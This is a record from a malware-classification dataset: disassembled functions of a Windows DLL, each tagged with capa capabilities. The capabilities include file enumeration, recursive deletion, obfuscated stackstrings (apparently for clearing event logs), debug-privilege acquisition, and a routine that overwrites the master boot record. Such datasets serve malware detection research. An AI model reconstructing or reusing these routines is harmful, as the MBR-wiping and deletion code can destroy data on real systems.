joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100063fa
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x790
push ebx
push esi
push edi
push 1
push 0x47
mov dword [ebp - 0x24], ecx
push 0x10001400
call dword [sym.imp.MSVCRT.dll__strnset]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
mov ebx, 0x1000129c
push eax
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 1
push 0x47
push 0x100013e8
mov dword [ebp - 0x2c], eax
call dword [sym.imp.MSVCRT.dll__strnset]
add esp, 0xc
push eax
push ebx
call esi
push eax
call edi
push 0x100013d0
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x100013c4
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
lea eax, [ebp - 0x230]
mov byte [ebp - 0x790], 0x67
push eax
push 0x100
call dword [ebp - 4]
xor ebx, ebx
push 1
cmp byte [ebp - 0x230], bl
lea esi, [ebp - 0x230]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
pop edi
je 0x100065ec
push 0x104
lea eax, [ebp - 0x130]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x130]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
call dword [ebp - 0x28]
push 0x410
lea eax, [ebp - 0x390]
push 0x160
push eax
push 0x80
push esi
call dword [0x10003de4]
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 4], eax
mov al, byte [esi]
cmp al, 0x41
je 0x10006552
cmp al, 0x42
je 0x10006552
lea eax, [ebp - 0x20]
push ebx
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call dword [ebp - 0x2c]
test eax, eax
je 0x10006552
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
push 0x14
pop ecx
call fcn.10015190
mov edx, dword [ebp - 0x14]
push 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
pop ecx
call fcn.10015190
mov dword [ebp - 0xc], eax
jmp 0x10006558
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov al, byte [esi]
push esi
mov byte [ebp + edi - 0x790], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + edi - 0x78f], al
lea eax, [ebp - 0x10]
push 4
push eax
lea eax, [ebp + edi - 0x78e]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0xc]
push 4
push eax
lea eax, [ebp + edi - 0x78a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 8]
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp + edi - 0x786]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 4]
lea eax, [ebp - 0x130]
push eax
mov eax, dword [ebp - 8]
add eax, edi
lea eax, [ebp + eax - 0x786]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add esp, 0x30
add eax, ecx
push esi
lea edi, [edi + eax + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [esi + eax + 1], bl
lea esi, [esi + eax + 1]
jne 0x100064aa
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x790]
push edi
push eax
call fcn.1000b1b1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006601
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push ebx
push esi
push edi
mov edi, 0x10001420
mov dword [ebp - 8], ecx
push edi
call sub.MSVCRT.dll_strlen
mov esi, 0x1000141c
mov ebx, eax
push esi
call sub.MSVCRT.dll_strlen
lea eax, [ebx + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
push esi
push ebx
call sub.MSVCRT.dll_strcpy
push edi
push ebx
call sub.MSVCRT.dll_strcat
mov esi, dword [ebp - 8]
add esp, 0x1c
mov eax, 0x2800
and dword [esi + 0x1c], 0
push eax
push 0x40
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp + 8]
mov edi, eax
lea eax, [ebp - 0x24c]
push ebx
push eax
call dword [fcn.10003e9c]
add esp, 0xc
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100066a5
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x68
call fcn.1000b1b1
jmp 0x100067a6
push 1
mov byte [edi], 0x68
pop esi
mov eax, dword [ebp - 4]
add eax, 0xfffffdf8
cmp esi, eax
jbe 0x100066cc
add dword [ebp - 4], 0x208
push 0x42
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov edi, eax
lea eax, [ebp - 0x11c]
push 0x10001418
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10006770
lea eax, [ebp - 0x11c]
push 0x10001414
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x10006770
mov al, byte [ebp - 0x148]
and al, 0x10
mov byte [esi + edi], al
lea eax, [ebp - 0x11c]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x11c]
push ebx
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esi, ebx
lea eax, [ebp - 0x12c]
push 4
push eax
and byte [esi + edi], 0
inc esi
lea ebx, [esi + edi]
push ebx
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x128]
push 4
add ebx, 4
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esi, 8
lea eax, [ebp - 0x134]
push 8
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x30
add esi, 8
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100066ab
mov ecx, dword [ebp - 8]
push esi
push edi
call fcn.1000b1b1
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100067ad
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
push esi
push edi
mov edi, 0x10001420
mov dword [ebp - 4], ecx
push edi
call sub.MSVCRT.dll_strlen
mov esi, 0x1000141c
mov ebx, eax
push esi
call sub.MSVCRT.dll_strlen
lea eax, [ebx + eax + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
push esi
push ebx
call sub.MSVCRT.dll_strcpy
push edi
push ebx
call sub.MSVCRT.dll_strcat
push dword [ebp + 8]
mov esi, dword [fcn.10003e9c]
lea eax, [ebp - 0x450]
push ebx
push eax
call esi
add esp, 0x28
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006823
xor al, al
jmp 0x100068a2
mov edi, 0x10001424
cmp byte [ebp - 0x118], 0x2e
je 0x1000687b
test byte [ebp - 0x144], 0x10
lea eax, [ebp - 0x118]
push eax
push dword [ebp + 8]
push edi
je 0x10006862
lea eax, [ebp - 0x248]
push eax
call esi
mov ecx, dword [ebp - 4]
add esp, 0x10
lea eax, [ebp - 0x248]
push eax
call fcn.100067ad
jmp 0x1000687b
lea eax, [ebp - 0x34c]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x144]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006828
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x100068a9
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
xor edi, edi
lea esi, [ecx + 0x20]
push 0x104
push edi
push esi
mov dword [ebp - 0xc], ecx
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100068f5
xor eax, eax
jmp 0x1000696d
lea eax, [ebp - 4]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov edi, eax
add edi, 0xa
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [ebp - 4]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [ebp - 8]
push dword [ebp + 8]
mov dword [esi + 5], eax
call ebx
inc eax
push eax
lea eax, [esi + 9]
push dword [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push edi
push esi
call fcn.1000b1b1
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x10006973
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], ecx
cmp dword [edi + 4], 0xffffffff
jne 0x10006992
call fcn.10006a36
xor eax, eax
jmp 0x10006a2f
xor esi, esi
add ecx, 0x20
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x10006a2f
push esi
push edi
push dword [edi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
push 8
push edi
lea eax, [esi + 1]
mov byte [esi], 0x6a
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp + 8]
push 0
push eax
lea eax, [esi + 9]
push 0x1ff7
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
test eax, eax
jbe 0x10006a1d
mov ecx, dword [ebp - 4]
add eax, 9
push eax
push esi
call fcn.1000b1b1
mov dword [ebp - 4], eax
jmp 0x10006a25
mov ecx, dword [ebp - 4]
call fcn.10006a36
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10006b36
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x10015fc9
call fcn.10015114
sub esp, 0x468
push ebx
push esi
push 0x104
lea eax, [ebp - 0x370]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x1000143c
jne 0x10006b7f
mov dword [ebp - 0x10], 0x1001798c
push dword [ebp - 0x10]
lea eax, [ebp - 0x370]
push esi
mov esi, dword [fcn.10003e9c]
push 0x10001434
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x10006bbd
xor al, al
jmp 0x10006c89
push edi
mov edi, 0x1000142c
cmp byte [ebp - 0x13c], 0x2e
je 0x10006c65
lea eax, [ebp - 0x13c]
test byte [ebp - 0x168], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
je 0x10006c03
lea eax, [ebp - 0x474]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x474]
mov ecx, ebx
push eax
call fcn.10006b36
jmp 0x10006c65
lea eax, [ebp - 0x26c]
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x26c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x10]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10006ff8
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10006bc3
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x10006e56
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x20]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.1000b1b1
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x100073fe
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 1
lea eax, [ebp - 0x108]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x10007448
xor eax, eax
jmp 0x1000749e
push esi
push 2
push edi
push 0xfffffc00
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push edi
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp + 0xc]
push ebx
call fcn.100073af
add esp, 0x10
cmp eax, 0xffffffff
pop esi
jne 0x1000749c
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x10007444
add eax, ebx
pop edi
pop ebx
leave
ret
Function at 0x100079ef
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push 0x1000132c
push 0x1000129c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2f
mov ebx, eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x10007a31
push esi
push dword [ebp + 8]
call fcn.1000eb35
pop ecx
test al, al
pop ecx
jne 0x10007a38
xor al, al
jmp 0x10007ab9
push edi
xor eax, eax
lea edi, [ebp - 0xf]
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x60]
xor edx, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x57
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push 0x10001c68
push esi
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x75
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], dl
mov dword [ebp - 0x64], 0x44
call ebx
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
pop ebx
leave
ret
Function at 0x10007abd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x57c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x10001368
push 0x10001cb0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x1000132c
push 0x1000129c
mov dword [ebp - 0x20], eax
call esi
push eax
call edi
mov ebx, 0x100013a4
push 0x100013b4
push ebx
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
push 0x10001ca4
push ebx
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
push dword [ebp + 8]
mov esi, eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10007c5b
lea eax, [ebp - 0x57c]
push 0x10001a34
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x57c]
push 0x10001c78
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, 0x104
xor ebx, ebx
mov dword [ebp - 0x1c], eax
push eax
lea eax, [ebp - 0x17c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0x57c]
push ebx
push eax
push 0x80000000
call dword [fcn.10003d2c]
test eax, eax
jne 0x10007c5b
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x17c]
push eax
push ebx
push dword [ebp - 0x14]
call dword [ebp - 0x24]
push dword [ebp - 0x14]
call esi
lea eax, [ebp - 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10007c5b
lea eax, [ebp - 0x17c]
push 0x10001384
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x10007c5b
push dword [ebp + 8]
push eax
call dword [ebp - 0x20]
xor eax, eax
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x74]
mov byte [ebp - 0x10], 0x57
rep stosd dword es:[edi], eax
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x75
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], bl
mov dword [ebp - 0x78], 0x44
je 0x10007c42
lea eax, [ebp - 0x10]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x17c]
push ebx
push eax
push ebx
call dword [ebp - 0x18]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x10007c62
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x100013a4
push 0x10001cd0
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10001cc0
push ebx
mov dword [ebp - 8], eax
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x34], eax
xor ebx, ebx
lea eax, [ebp - 0x14]
mov byte [ebp - 0x2c], 0x41
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x63
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x75
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x79
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6d
mov byte [ebp - 0xe], bl
mov dword [ebp - 0x30], eax
lea esi, [ebp - 0x38]
mov dword [ebp - 4], 3
push dword [esi]
push ebx
call dword [ebp - 8]
mov edi, eax
cmp edi, ebx
je 0x10007d3c
push ebx
push edi
call fcn.10007583
pop ecx
pop ecx
push edi
call dword [ebp - 0xc]
add esi, 4
dec dword [ebp - 4]
jne 0x10007d23
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008056
Capabilities:
Overwrite master boot record (mbr)
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
push 0x10001f90
push 0x10001350
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x7f
mov dword [ebp - 4], eax
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x21f]
mov byte [ebp - 0x220], bl
push 0x33
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x220]
push 0x100014e8
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov byte [ebp - 0x22], 0x55
mov byte [ebp - 0x21], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push 0x10001f7c
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
or eax, 0xffffffff
cmp esi, eax
je 0x10008185
lea eax, [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90018
push esi
call edi
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x220]
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0xc]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x10008177
lea eax, [ebp - 8]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [fcn.10003d80]
lea eax, [ebp - 0x1c]
push eax
push 0x10001ce0
push ebx
call dword [fcn.10003d84]
push ebx
push ebx
lea eax, [ebp - 0x20]
push ebx
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x14], 2
call dword [fcn.10003d88]
push ebx
push 6
call dword [ebp - 4]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000846d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1038
call fcn.10015140
or dword [ebp - 0x100c], 0xffffffff
push esi
push edi
xor esi, esi
push 0x1030
lea eax, [ebp - 0x1038]
push esi
push eax
mov dword [ebp - 0x1038], 0x10003f8c
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 0x1034]
push 0x10001fd8
push 0x20
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
push dword [ebp + 0xc]
mov ax, word [ebp + 0x14]
mov word [ebp - 0x1014], ax
push dword [ebp + 8]
call fcn.100083ba
mov edi, eax
add esp, 0x24
cmp edi, esi
jbe 0x1000854c
mov dword [ebp - 0x1010], edi
push esi
lea eax, [ebp - 2]
push 2
push eax
push edi
call dword [0x10003ecc]
test eax, eax
jle 0x1000854c
inc dword [0x10018690]
cmp dword [ebp - 0x100c], 0x800
jge 0x10008519
inc dword [ebp - 0x100c]
mov ecx, dword [ebp - 0x100c]
mov ax, word [ebp - 2]
mov word [ebp + ecx*2 - 0x1008], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1038]
push esi
push eax
push 0x100083f3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x1000853f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100084dd
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100084dd
push edi
call dword [fcn.10003f0c]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x100086cb
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [fcn.10003d80]
test eax, eax
jne 0x100086ec
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push ebx
push eax
xor ebx, ebx
push 0x10001fdc
push ebx
call dword [fcn.10003d84]
test eax, eax
je 0x10008735
mov eax, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x1c]
push 0x10
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [fcn.10003d88]
test eax, eax
je 0x10008735
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
leave
ret